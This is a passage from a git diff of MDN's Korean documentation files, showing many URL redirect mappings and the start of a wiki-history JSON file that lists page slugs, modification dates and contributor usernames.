/ko/docs/Web/API/Document/dragstart_event +/ko/docs/Web/Events/keydown /ko/docs/Web/API/Document/keydown_event +/ko/docs/Web/Events/loadedmetadata /ko/docs/Web/API/HTMLMediaElement/loadedmetadata_event +/ko/docs/Web/Events/loadedmetadata_event /ko/docs/Web/HTML/Element/audio/loadedmetadata_event +/ko/docs/Web/Events/orientationchange /ko/docs/Web/API/Window/orientationchange_event +/ko/docs/Web/Events/popstate /ko/docs/Web/API/Window/popstate_event +/ko/docs/Web/Events/resize /ko/docs/Web/API/Window/resize_event +/ko/docs/Web/Events/scroll /ko/docs/Web/API/Document/scroll_event +/ko/docs/Web/Events/timeout /ko/docs/Web/API/XMLHttpRequest/timeout +/ko/docs/Web/Events/touchcancel /ko/docs/Web/API/Element/touchcancel_event +/ko/docs/Web/Events/visibilitychange /ko/docs/Web/API/Document/visibilitychange_event +/ko/docs/Web/Guide/CSS /ko/docs/Learn/CSS +/ko/docs/Web/Guide/CSS/Using_CSS_transitions /ko/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions +/ko/docs/Web/Guide/HTML /ko/docs/Learn/HTML +/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC /ko/docs/Web/Guide/HTML/Content_categories +/ko/docs/Web/Guide/HTML/%ED%8F%BC /ko/docs/Learn/HTML/Forms +/ko/docs/Web/Guide/HTML/%ED%8F%BC/HTML_%ED%8F%BC_%EA%B5%AC%EC%84%B1_%EB%B0%A9%EB%B2%95 /ko/docs/Learn/HTML/Forms/HTML_%ED%8F%BC_%EA%B5%AC%EC%84%B1_%EB%B0%A9%EB%B2%95 +/ko/docs/Web/Guide/HTML/%ED%8F%BC/My_first_HTML_form /ko/docs/Learn/HTML/Forms/Your_first_HTML_form +/ko/docs/Web/Guide/HTML/%ED%8F%BC/Sending_and_retrieving_form_data /ko/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data +/ko/docs/Web/HTML/Element/%EC%BA%94%EB%B2%84%EC%8A%A4 /ko/docs/Web/HTML/Element/canvas +/ko/docs/Web/HTML/Element/Video/canplay_event /ko/docs/Web/API/HTMLMediaElement/canplay_event +/ko/docs/Web/HTML/Element/Video/canplaythrough_event /ko/docs/Web/API/HTMLMediaElement/canplaythrough_event +/ko/docs/Web/HTML/Element/Video/loadedmetadata_event /ko/docs/Web/API/HTMLMediaElement/loadedmetadata_event +/ko/docs/Web/HTML/Element/h1 /ko/docs/Web/HTML/Element/Heading_Elements +/ko/docs/Web/HTML/Element/h2 /ko/docs/Web/HTML/Element/Heading_Elements +/ko/docs/Web/HTML/Element/h3 /ko/docs/Web/HTML/Element/Heading_Elements +/ko/docs/Web/HTML/Element/h4 /ko/docs/Web/HTML/Element/Heading_Elements +/ko/docs/Web/HTML/Element/h5 /ko/docs/Web/HTML/Element/Heading_Elements +/ko/docs/Web/HTML/Element/h6 /ko/docs/Web/HTML/Element/Heading_Elements +/ko/docs/Web/HTML/Focus_management_in_HTML /ko/docs/Web/API/Document/hasFocus +/ko/docs/Web/HTML/HTML%EC%97%90%EC%84%9C_%ED%8F%BC /ko/docs/Learn/HTML/Forms +/ko/docs/Web/HTML/HTML5/HTML5_element_list /ko/docs/Web/HTML/Element +/ko/docs/Web/HTML/Introduction /ko/docs/Learn/HTML/Introduction_to_HTML +/ko/docs/Web/HTTP/%EC%83%81%ED%83%9C_%EC%BD%94%EB%93%9C /ko/docs/Web/HTTP/Status +/ko/docs/Web/HTTP/Access_control_CORS /ko/docs/Web/HTTP/CORS +/ko/docs/Web/HTTP/Access_control_CORS/Errors /ko/docs/Web/HTTP/CORS/Errors +/ko/docs/Web/HTTP/Access_control_CORS/Errors/CORSDidNotSucceed /ko/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed +/ko/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types /ko/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types +/ko/docs/Web/JavaScript/Guide/About /ko/docs/Web/JavaScript/Guide/%EC%86%8C%EA%B0%9C +/ko/docs/Web/JavaScript/Guide/Obsolete_Pages /ko/docs/Web/JavaScript/Guide +/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide /ko/docs/Web/JavaScript/Guide +/ko/docs/Web/JavaScript/Guide/Predefined_Core_Objects /ko/docs/Web/JavaScript/Guide +/ko/docs/Web/JavaScript/New_in_JavaScript/New_in_JavaScript_1.7 /ko/docs/Web/JavaScript/New_in_JavaScript/1.7 +/ko/docs/Web/JavaScript/New_in_JavaScript/New_in_JavaScript_1.8 /ko/docs/Web/JavaScript/New_in_JavaScript/1.8 +/ko/docs/Web/JavaScript/Reference/About/Formatting_Conventions /ko/docs/Web/JavaScript/Reference/About +/ko/docs/Web/JavaScript/Reference/Global_Functions /ko/docs/Web/JavaScript/Reference/Global_Objects +/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/constructor /ko/docs/Web/JavaScript/Reference/Global_Objects/Array +/ko/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype /ko/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer +/ko/docs/Web/JavaScript/Reference/Global_Objects/Boolean/constructor /ko/docs/Web/JavaScript/Reference/Global_Objects/Boolean +/ko/docs/Web/JavaScript/Reference/Global_Objects/Date/constructor /ko/docs/Web/JavaScript/Reference/Global_Objects/Date +/ko/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat /ko/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat +/ko/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat/prototype /ko/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype +/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype /ko/docs/Web/JavaScript/Reference/Global_Objects/Function +/ko/docs/Web/JavaScript/Reference/Global_Objects/Locale /ko/docs/Web/JavaScript/Reference/Global_Objects/Intl/Locale +/ko/docs/Web/JavaScript/Reference/Global_Objects/Locale/language /ko/docs/Web/JavaScript/Reference/Global_Objects/Intl/Locale/language +/ko/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat /ko/docs/Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat +/ko/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat/prototype /ko/docs/Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/prototype +/ko/docs/Web/JavaScript/Reference/Global_Objects/TypeError/prototype /ko/docs/Web/JavaScript/Reference/Global_Objects/TypeError +/ko/docs/Web/JavaScript/Reference/Global_Properties /ko/docs/Web/JavaScript/Reference/Global_Objects +/ko/docs/Web/JavaScript/Reference/Methods_Index /ko/docs/Web/JavaScript/Reference +/ko/docs/Web/JavaScript/Reference/Objects /ko/docs/Web/JavaScript/Reference/Global_Objects +/ko/docs/Web/JavaScript/Reference/Objects/Function /ko/docs/Web/JavaScript/Reference/Global_Objects/Function +/ko/docs/Web/JavaScript/Reference/Operators/Special_Operators /ko/docs/Web/JavaScript/Reference/Operators +/ko/docs/Web/JavaScript/Reference/Operators/Spread_operator /ko/docs/Web/JavaScript/Reference/Operators/Spread_syntax +/ko/docs/Web/JavaScript/Reference/Properties_Index /ko/docs/Web/JavaScript/Reference +/ko/docs/Web/JavaScript/Reference/Reserved_Words /ko/docs/Web/JavaScript/Reference/Lexical_grammar#키워드 +/ko/docs/Web/JavaScript/Tutorials /ko/docs/Web/JavaScript +/ko/docs/Web/Reference/Events /ko/docs/Web/Events +/ko/docs/Web/Reference/Events/DOMContentLoaded /ko/docs/Web/Events/DOMContentLoaded +/ko/docs/Web/Reference/Events/DOMSubtreeModified /ko/docs/Web/Events/DOMSubtreeModified +/ko/docs/Web/Reference/Events/beforeunload /ko/docs/Web/Events/beforeunload +/ko/docs/Web/Reference/Events/blur /ko/docs/Web/Events/blur +/ko/docs/Web/Reference/Events/canplay /ko/docs/Web/API/HTMLMediaElement/canplay_event +/ko/docs/Web/Reference/Events/canplaythrough /ko/docs/Web/API/HTMLMediaElement/canplaythrough_event +/ko/docs/Web/Reference/Events/chargingchange /ko/docs/Web/Events/chargingchange +/ko/docs/Web/Reference/Events/click /ko/docs/Web/API/Element/click_event +/ko/docs/Web/Reference/Events/keydown /ko/docs/Web/API/Document/keydown_event +/ko/docs/Web/Reference/Events/load /ko/docs/Web/Events/load +/ko/docs/Web/Reference/Events/loadedmetadata /ko/docs/Web/API/HTMLMediaElement/loadedmetadata_event +/ko/docs/Web/Reference/Events/message /ko/docs/Web/Events/message +/ko/docs/Web/Reference/Events/orientationchange /ko/docs/Web/API/Window/orientationchange_event +/ko/docs/Web/Reference/Events/popstate /ko/docs/Web/API/Window/popstate_event +/ko/docs/Web/Reference/Events/progress /ko/docs/Web/Events/progress +/ko/docs/Web/Reference/Events/resize /ko/docs/Web/API/Window/resize_event +/ko/docs/Web/Reference/Events/timeout /ko/docs/Web/API/XMLHttpRequest/timeout +/ko/docs/Web/Reference/Events/touchcancel /ko/docs/Web/API/Element/touchcancel_event +/ko/docs/Web/Reference/Events/visibilitychange /ko/docs/Web/API/Document/visibilitychange_event +/ko/docs/Web/WebGL /ko/docs/Web/API/WebGL_API +/ko/docs/Web/WebGL/Adding_2D_content_to_a_WebGL_context /ko/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context +/ko/docs/Web/WebGL/Animating_objects_with_WebGL /ko/docs/Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL +/ko/docs/Web/WebGL/Animating_textures_in_WebGL /ko/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL +/ko/docs/Web/WebGL/Creating_3D_objects_using_WebGL /ko/docs/Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL +/ko/docs/Web/WebGL/Cross-Domain_Textures /ko/docs/Web/API/WebGL_API/Cross-Domain_Textures +/ko/docs/Web/WebGL/Getting_started_with_WebGL /ko/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL +/ko/docs/Web/WebGL/Lighting_in_WebGL /ko/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL +/ko/docs/Web/WebGL/Using_shaders_to_apply_color_in_WebGL /ko/docs/Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL +/ko/docs/Web/WebGL/Using_textures_in_WebGL /ko/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL +/ko/docs/Web/Web_Components/Custom_Elements /ko/docs/Web/Web_Components/Using_custom_elements +/ko/docs/Web/Web_Components/Shadow_DOM /ko/docs/Web/Web_Components/Using_shadow_DOM +/ko/docs/Web/XSLT/Elements /ko/docs/Web/XSLT/Element +/ko/docs/Web/XSLT/Elements/element /ko/docs/Web/XSLT/Element/element +/ko/docs/WebAPI/Vibration /ko/docs/Web/Guide/API/Vibration/Vibration +/ko/docs/WebAPI/WebSMS/Introduction_to_WebSMS /ko/docs/WebAPI/WebSMS/Introduction_to_Mobile_Message_API/Introduction_to_WebSMS +/ko/docs/Writing_Efficient_CSS /ko/docs/Web/CSS/Writing_Efficient_CSS +/ko/docs/XMLHttpRequest /ko/docs/Web/API/XMLHttpRequest +/ko/docs/XMLHttpRequest/Synchronous_and_Asynchronous_Requests /ko/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests +/ko/docs/XMLHttpRequest/Using_XMLHttpRequest /ko/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest +/ko/docs/XMLHttpRequest/setRequestHeader /ko/docs/Web/API/XMLHttpRequest/setRequestHeader +/ko/docs/XML_Introduction /ko/docs/Web/XML/XML_Introduction +/ko/docs/XPInstall_API_Reference:Install_Object /ko/docs/XPInstall_API_Reference/Install_Object +/ko/docs/XPInstall_API_Reference:Install_Object:Properties /ko/docs/XPInstall_API_Reference/Install_Object/Properties +/ko/docs/XPInstall_API_Reference:Return_Codes /ko/docs/XPInstall_API_Reference/Return_Codes +/ko/docs/XPath /ko/docs/Web/XPath +/ko/docs/XPath/Axes /ko/docs/Web/XPath/Axes +/ko/docs/XPath/Axes/ancestor /ko/docs/Web/XPath/Axes/ancestor +/ko/docs/XPath/Axes/ancestor-or-self /ko/docs/Web/XPath/Axes/ancestor-or-self +/ko/docs/XPath/Axes/attribute /ko/docs/Web/XPath/Axes/attribute +/ko/docs/XPath/Axes/child /ko/docs/Web/XPath/Axes/child +/ko/docs/XPath/Axes/descendant /ko/docs/Web/XPath/Axes/descendant +/ko/docs/XPath/Axes/descendant-or-self /ko/docs/Web/XPath/Axes/descendant-or-self +/ko/docs/XPath/Axes/following /ko/docs/Web/XPath/Axes/following +/ko/docs/XPath/Axes/following-sibling /ko/docs/Web/XPath/Axes/following-sibling +/ko/docs/XPath/Axes/namespace /ko/docs/Web/XPath/Axes/namespace +/ko/docs/XPath/Axes/parent /ko/docs/Web/XPath/Axes/parent +/ko/docs/XPath/Axes/preceding /ko/docs/Web/XPath/Axes/preceding +/ko/docs/XPath/Axes/preceding-sibling /ko/docs/Web/XPath/Axes/preceding-sibling +/ko/docs/XPath/Axes/self /ko/docs/Web/XPath/Axes/self +/ko/docs/XPath/Functions /ko/docs/Web/XPath/Functions +/ko/docs/XPath/Functions/boolean /ko/docs/Web/XPath/Functions/boolean +/ko/docs/XPath/Functions/ceiling /ko/docs/Web/XPath/Functions/ceiling +/ko/docs/XPath/Functions/concat /ko/docs/Web/XPath/Functions/concat +/ko/docs/XPath/Functions/contains /ko/docs/Web/XPath/Functions/contains +/ko/docs/XPath/Functions/count /ko/docs/Web/XPath/Functions/count +/ko/docs/XPath/Functions/current /ko/docs/Web/XPath/Functions/current +/ko/docs/XPath/Functions/document /ko/docs/Web/XPath/Functions/document +/ko/docs/XPath/Functions/element-available /ko/docs/Web/XPath/Functions/element-available +/ko/docs/XPath/Functions/false /ko/docs/Web/XPath/Functions/false +/ko/docs/XPath/Functions/floor /ko/docs/Web/XPath/Functions/floor +/ko/docs/XPath/Functions/format-number /ko/docs/Web/XPath/Functions/format-number +/ko/docs/XPath/Functions/function-available /ko/docs/Web/XPath/Functions/function-available +/ko/docs/XPath/Functions/generate-id /ko/docs/Web/XPath/Functions/generate-id +/ko/docs/XPath/Functions/id /ko/docs/Web/XPath/Functions/id +/ko/docs/XPath/Functions/key /ko/docs/Web/XPath/Functions/key +/ko/docs/XPath/Functions/lang /ko/docs/Web/XPath/Functions/lang +/ko/docs/XPath/Functions/last /ko/docs/Web/XPath/Functions/last +/ko/docs/XPath/Functions/local-name /ko/docs/Web/XPath/Functions/local-name +/ko/docs/XPath/Functions/name /ko/docs/Web/XPath/Functions/name +/ko/docs/XPath/Functions/namespace-uri /ko/docs/Web/XPath/Functions/namespace-uri +/ko/docs/XPath/Functions/normalize-space /ko/docs/Web/XPath/Functions/normalize-space +/ko/docs/XPath/Functions/not /ko/docs/Web/XPath/Functions/not +/ko/docs/XPath/Functions/number /ko/docs/Web/XPath/Functions/number +/ko/docs/XPath/Functions/position /ko/docs/Web/XPath/Functions/position +/ko/docs/XPath/Functions/round /ko/docs/Web/XPath/Functions/round +/ko/docs/XPath/Functions/starts-with /ko/docs/Web/XPath/Functions/starts-with +/ko/docs/XPath/Functions/string /ko/docs/Web/XPath/Functions/string +/ko/docs/XPath/Functions/string-length /ko/docs/Web/XPath/Functions/string-length +/ko/docs/XPath/Functions/substring /ko/docs/Web/XPath/Functions/substring +/ko/docs/XPath/Functions/substring-after /ko/docs/Web/XPath/Functions/substring-after +/ko/docs/XPath/Functions/substring-before /ko/docs/Web/XPath/Functions/substring-before +/ko/docs/XPath/Functions/sum /ko/docs/Web/XPath/Functions/sum +/ko/docs/XPath/Functions/system-property /ko/docs/Web/XPath/Functions/system-property +/ko/docs/XPath/Functions/translate /ko/docs/Web/XPath/Functions/translate +/ko/docs/XPath/Functions/true /ko/docs/Web/XPath/Functions/true +/ko/docs/XPath/Functions/unparsed-entity-url /ko/docs/Web/XPath/Functions/unparsed-entity-url +/ko/docs/XPath:Axes /ko/docs/Web/XPath/Axes +/ko/docs/XPath:Axes:ancestor /ko/docs/Web/XPath/Axes/ancestor +/ko/docs/XPath:Axes:ancestor-or-self /ko/docs/Web/XPath/Axes/ancestor-or-self +/ko/docs/XPath:Axes:attribute /ko/docs/Web/XPath/Axes/attribute +/ko/docs/XPath:Axes:child /ko/docs/Web/XPath/Axes/child +/ko/docs/XPath:Axes:descendant /ko/docs/Web/XPath/Axes/descendant +/ko/docs/XPath:Axes:descendant-or-self /ko/docs/Web/XPath/Axes/descendant-or-self +/ko/docs/XPath:Axes:following /ko/docs/Web/XPath/Axes/following +/ko/docs/XPath:Axes:following-sibling /ko/docs/Web/XPath/Axes/following-sibling +/ko/docs/XPath:Axes:namespace /ko/docs/Web/XPath/Axes/namespace +/ko/docs/XPath:Axes:parent /ko/docs/Web/XPath/Axes/parent +/ko/docs/XPath:Axes:preceding /ko/docs/Web/XPath/Axes/preceding +/ko/docs/XPath:Axes:preceding-sibling /ko/docs/Web/XPath/Axes/preceding-sibling +/ko/docs/XPath:Axes:self /ko/docs/Web/XPath/Axes/self +/ko/docs/XPath:Functions /ko/docs/Web/XPath/Functions +/ko/docs/XPath:Functions:boolean /ko/docs/Web/XPath/Functions/boolean +/ko/docs/XPath:Functions:ceiling /ko/docs/Web/XPath/Functions/ceiling +/ko/docs/XPath:Functions:concat /ko/docs/Web/XPath/Functions/concat +/ko/docs/XPath:Functions:contains /ko/docs/Web/XPath/Functions/contains +/ko/docs/XPath:Functions:count /ko/docs/Web/XPath/Functions/count +/ko/docs/XPath:Functions:current /ko/docs/Web/XPath/Functions/current +/ko/docs/XPath:Functions:document /ko/docs/Web/XPath/Functions/document +/ko/docs/XPath:Functions:element-available /ko/docs/Web/XPath/Functions/element-available +/ko/docs/XPath:Functions:false /ko/docs/Web/XPath/Functions/false +/ko/docs/XPath:Functions:floor /ko/docs/Web/XPath/Functions/floor +/ko/docs/XPath:Functions:format-number /ko/docs/Web/XPath/Functions/format-number +/ko/docs/XPath:Functions:function-available /ko/docs/Web/XPath/Functions/function-available +/ko/docs/XPath:Functions:generate-id /ko/docs/Web/XPath/Functions/generate-id +/ko/docs/XPath:Functions:id /ko/docs/Web/XPath/Functions/id +/ko/docs/XPath:Functions:key /ko/docs/Web/XPath/Functions/key +/ko/docs/XPath:Functions:lang /ko/docs/Web/XPath/Functions/lang +/ko/docs/XPath:Functions:last /ko/docs/Web/XPath/Functions/last +/ko/docs/XPath:Functions:local-name /ko/docs/Web/XPath/Functions/local-name +/ko/docs/XPath:Functions:name /ko/docs/Web/XPath/Functions/name +/ko/docs/XPath:Functions:namespace-uri /ko/docs/Web/XPath/Functions/namespace-uri +/ko/docs/XPath:Functions:normalize-space /ko/docs/Web/XPath/Functions/normalize-space +/ko/docs/XPath:Functions:not /ko/docs/Web/XPath/Functions/not +/ko/docs/XPath:Functions:number /ko/docs/Web/XPath/Functions/number +/ko/docs/XPath:Functions:position /ko/docs/Web/XPath/Functions/position +/ko/docs/XPath:Functions:round /ko/docs/Web/XPath/Functions/round +/ko/docs/XPath:Functions:starts-with /ko/docs/Web/XPath/Functions/starts-with +/ko/docs/XPath:Functions:string /ko/docs/Web/XPath/Functions/string +/ko/docs/XPath:Functions:string-length /ko/docs/Web/XPath/Functions/string-length +/ko/docs/XPath:Functions:substring /ko/docs/Web/XPath/Functions/substring +/ko/docs/XPath:Functions:substring-after /ko/docs/Web/XPath/Functions/substring-after +/ko/docs/XPath:Functions:substring-before /ko/docs/Web/XPath/Functions/substring-before +/ko/docs/XPath:Functions:sum /ko/docs/Web/XPath/Functions/sum +/ko/docs/XPath:Functions:system-property /ko/docs/Web/XPath/Functions/system-property +/ko/docs/XPath:Functions:translate /ko/docs/Web/XPath/Functions/translate +/ko/docs/XPath:Functions:true /ko/docs/Web/XPath/Functions/true +/ko/docs/XPath:Functions:unparsed-entity-url /ko/docs/Web/XPath/Functions/unparsed-entity-url +/ko/docs/XSLT /ko/docs/Web/XSLT +/ko/docs/XSLT/Elements /ko/docs/Web/XSLT/Element +/ko/docs/XSLT/apply-imports /ko/docs/Web/XSLT/apply-imports +/ko/docs/XSLT/apply-templates /ko/docs/Web/XSLT/apply-templates +/ko/docs/XSLT/attribute /ko/docs/Web/XSLT/attribute +/ko/docs/XSLT/attribute-set /ko/docs/Web/XSLT/attribute-set +/ko/docs/XSLT/call-template /ko/docs/Web/XSLT/call-template +/ko/docs/XSLT/choose /ko/docs/Web/XSLT/choose +/ko/docs/XSLT/comment /ko/docs/Web/XSLT/comment +/ko/docs/XSLT/copy /ko/docs/Web/XSLT/copy +/ko/docs/XSLT/copy-of /ko/docs/Web/XSLT/copy-of +/ko/docs/XSLT/decimal-format /ko/docs/Web/XSLT/decimal-format +/ko/docs/XSLT/element /ko/docs/Web/XSLT/Element/element +/ko/docs/XSLT/fallback /ko/docs/Web/XSLT/fallback +/ko/docs/XSLT/for-each /ko/docs/Web/XSLT/for-each +/ko/docs/XSLT/if /ko/docs/Web/XSLT/if +/ko/docs/XSLT/import /ko/docs/Web/XSLT/import +/ko/docs/XSLT/include /ko/docs/Web/XSLT/include +/ko/docs/XSLT/key /ko/docs/Web/XSLT/key +/ko/docs/XSLT/message /ko/docs/Web/XSLT/message +/ko/docs/XSLT/namespace-alias /ko/docs/Web/XSLT/namespace-alias +/ko/docs/XSLT/number /ko/docs/Web/XSLT/number +/ko/docs/XSLT/otherwise /ko/docs/Web/XSLT/otherwise +/ko/docs/XSLT/output /ko/docs/Web/XSLT/output +/ko/docs/XSLT/param /ko/docs/Web/XSLT/param +/ko/docs/XSLT/preserve-space /ko/docs/Web/XSLT/preserve-space +/ko/docs/XSLT/processing-instruction /ko/docs/Web/XSLT/processing-instruction +/ko/docs/XSLT/sort /ko/docs/Web/XSLT/sort +/ko/docs/XSLT/strip-space /ko/docs/Web/XSLT/strip-space +/ko/docs/XSLT/stylesheet /ko/docs/Web/XSLT/stylesheet +/ko/docs/XSLT/template /ko/docs/Web/XSLT/template +/ko/docs/XSLT/text /ko/docs/Web/XSLT/text +/ko/docs/XSLT/transform /ko/docs/Web/XSLT/transform +/ko/docs/XSLT/value-of /ko/docs/Web/XSLT/value-of +/ko/docs/XSLT/variable /ko/docs/Web/XSLT/variable +/ko/docs/XSLT/when /ko/docs/Web/XSLT/when +/ko/docs/XSLT/with-param /ko/docs/Web/XSLT/with-param +/ko/docs/XSLT:Elements /ko/docs/Web/XSLT/Element +/ko/docs/XSLT:apply-imports /ko/docs/Web/XSLT/apply-imports +/ko/docs/XSLT:apply-templates /ko/docs/Web/XSLT/apply-templates +/ko/docs/XSLT:attribute /ko/docs/Web/XSLT/attribute +/ko/docs/XSLT:attribute-set /ko/docs/Web/XSLT/attribute-set +/ko/docs/XSLT:call-template /ko/docs/Web/XSLT/call-template +/ko/docs/XSLT:choose /ko/docs/Web/XSLT/choose +/ko/docs/XSLT:comment /ko/docs/Web/XSLT/comment +/ko/docs/XSLT:copy /ko/docs/Web/XSLT/copy +/ko/docs/XSLT:copy-of /ko/docs/Web/XSLT/copy-of +/ko/docs/XSLT:decimal-format /ko/docs/Web/XSLT/decimal-format +/ko/docs/XSLT:element /ko/docs/Web/XSLT/Element/element +/ko/docs/XSLT:fallback /ko/docs/Web/XSLT/fallback +/ko/docs/XSLT:for-each /ko/docs/Web/XSLT/for-each +/ko/docs/XSLT:if /ko/docs/Web/XSLT/if +/ko/docs/XSLT:import /ko/docs/Web/XSLT/import +/ko/docs/XSLT:include /ko/docs/Web/XSLT/include +/ko/docs/XSLT:key /ko/docs/Web/XSLT/key +/ko/docs/XSLT:message /ko/docs/Web/XSLT/message +/ko/docs/XSLT:namespace-alias /ko/docs/Web/XSLT/namespace-alias +/ko/docs/XSLT:number /ko/docs/Web/XSLT/number +/ko/docs/XSLT:otherwise /ko/docs/Web/XSLT/otherwise +/ko/docs/XSLT:output /ko/docs/Web/XSLT/output +/ko/docs/XSLT:param /ko/docs/Web/XSLT/param +/ko/docs/XSLT:preserve-space /ko/docs/Web/XSLT/preserve-space +/ko/docs/XSLT:processing-instruction /ko/docs/Web/XSLT/processing-instruction +/ko/docs/XSLT:sort /ko/docs/Web/XSLT/sort +/ko/docs/XSLT:strip-space /ko/docs/Web/XSLT/strip-space +/ko/docs/XSLT:stylesheet /ko/docs/Web/XSLT/stylesheet +/ko/docs/XSLT:template /ko/docs/Web/XSLT/template +/ko/docs/XSLT:text /ko/docs/Web/XSLT/text +/ko/docs/XSLT:transform /ko/docs/Web/XSLT/transform +/ko/docs/XSLT:value-of /ko/docs/Web/XSLT/value-of +/ko/docs/XSLT:variable /ko/docs/Web/XSLT/variable +/ko/docs/XSLT:when /ko/docs/Web/XSLT/when +/ko/docs/XSLT:with-param /ko/docs/Web/XSLT/with-param +/ko/docs/XSLT_in_Gecko:Basic_Example /ko/docs/XSLT_in_Gecko/Basic_Example +/ko/docs/XSLT_in_Gecko:Browser_Differences /ko/docs/XSLT_in_Gecko/Browser_Differences +/ko/docs/XSLT_in_Gecko:Generating_HTML /ko/docs/XSLT_in_Gecko/Generating_HTML +/ko/docs/XSLT_in_Gecko:Introduction /ko/docs/XSLT_in_Gecko/Introduction +/ko/docs/XSLT_in_Gecko:Resources /ko/docs/XSLT_in_Gecko/Resources +/ko/docs/XTech_2005_Presentations:Directions_of_the_Mozilla_RDF_engine /ko/docs/XTech_2005_Presentations/Directions_of_the_Mozilla_RDF_engine +/ko/docs/en /en-US/ diff --git a/files/ko/_wikihistory.json b/files/ko/_wikihistory.json new file mode 100644 index 0000000000..5587d8f681 --- /dev/null +++ b/files/ko/_wikihistory.json @@ -0,0 +1,18712 @@ +{ + "A_Basic_RayCaster": { + "modified": "2019-05-26T05:55:24.371Z", + "contributors": [ + "alattalatta", + "taggon" + ] + }, + "A_re-introduction_to_JavaScript": { + "modified": "2020-11-30T14:43:16.912Z", + "contributors": [ + "woochul2", + "honggaruy", + "jaeminche", + "eunjungleecub", + "Teperi", + "Violet-Bora-Lee", + "jjuun", + "JaeyiHong", + "juddammu", + "limkukhyun", + "hyunggoo", + "ChalkPE", + "loslch", + "Kimchoky", + "pineoc", + "fureweb", + "zeallat", + "gnujoow", + "softage", + "oox", + "Jsfumato", + "stephenjang", + "cafrii", + "teoli", + "zziuni", + "JaehaAhn", + "Joonwon", + "Dyhan81" + ] + }, + "Adapting_XUL_Applications_for_Firefox_1.5": { + "modified": "2019-03-23T23:42:04.353Z", + "contributors": [ + "teoli", + "Netaras" + ] + }, + "Building_an_Extension": { + "modified": "2019-03-24T00:04:35.955Z", + "contributors": [ + "teoli", + "ethertank", + "Gilchris", + "fscholz", + "Matthew,Lee", + "Amujung", + "Idodream", + "Jeongsw", + "Netaras" + ] + }, + "CSS3_Columns": { + "modified": "2019-10-11T18:26:42.559Z", + "contributors": [ + "escattone", + "Netaras", + "Sebuls", + "Ioseph" + ] + }, + "Consistent_List_Indentation": { + "modified": "2019-03-18T21:13:02.657Z", + "contributors": [ + "alattalatta", + "teoli", + "Ioseph" + ] + }, + "DHTML": { + "modified": "2019-03-23T23:41:48.331Z", + "contributors": [ + "Sebuls" + ] + }, + "DOM_improvements_in_Firefox_3": { + "modified": "2019-03-23T23:52:57.206Z", + "contributors": [ + "teoli", + "Suguni" + ] + }, + "Determining_the_dimensions_of_elements": { + "modified": "2019-03-18T20:58:47.001Z", + "contributors": [ + "SphinxKnight", + "teoli", + "taggon" + ] + }, + "Drawing_text_using_a_canvas": { + "modified": "2019-03-23T23:51:09.281Z", + "contributors": [ + "kbsbroad", + "peacekimjapan", + "tnRaro", + "teoli", + "Wladimir_Palant", + "Suguni" + ] + }, + "Firefox_1.5_for_developers": { + "modified": "2019-03-23T23:42:08.585Z", + "contributors": [ + "teoli", + "Sebuls", + "Netaras" + ] + }, + "Firefox_2_for_developers": { + "modified": "2019-01-16T16:12:14.974Z", + "contributors": [ + "CN", + "Netaras", + "Yh", + "C0d3h4ck", + "Ranio710", + "Channy" + ] + }, + "Firefox_3.5_for_developers": { + "modified": "2019-03-24T00:00:11.117Z", + "contributors": [ + "teoli", + "Gilchris" + ] + }, + "Full_page_zoom": { + "modified": "2019-03-23T23:51:11.591Z", + "contributors": [ + "teoli", + "Wladimir_Palant", + "Jeongkyu" + ] + }, + "Games": { + "modified": "2019-09-09T15:33:04.549Z", + "contributors": [ + "SphinxKnight", + "yongbin_kim", + "meow1230", + "wbamberg", + "moolow", + "daesD", + "ehfgk78", + "hoony", + "kom2727" + ] + }, + "Games/Index": { + "modified": "2020-12-05T03:39:50.081Z", + "contributors": [ + "movegun1027" + ] + }, + "Games/Introduction": { + "modified": "2019-06-03T20:16:02.213Z", + "contributors": [ + "sujilee91", + "wbamberg", + "daesD", + "yuyuny", + "talkinglove", + "kom2727" + ] + }, + "Games/Tutorials": { + "modified": "2019-03-23T22:32:02.489Z", + "contributors": [ + "wbamberg", + "hoony", + "chrisdavidmills" + ] + }, + "Games/Tutorials/2D_breakout_game_Phaser": { + "modified": "2019-03-23T22:32:01.564Z", + "contributors": [ + "wbamberg", + "hoony", + "chrisdavidmills" + ] + }, + "Games/Tutorials/2D_breakout_game_Phaser/득점": { + "modified": "2019-01-16T22:56:11.870Z", + "contributors": [ + "wbamberg", + "Dragonholux" + ] + }, + "Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation": { + "modified": "2019-11-30T13:08:40.751Z", + "contributors": [ + "junghyeonsu" + ] + }, + "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임": { + "modified": "2019-03-23T22:24:25.862Z", + "contributors": [ + "wbamberg", + "daesD", + "hoony", + "Byeolbit" + ] + }, + 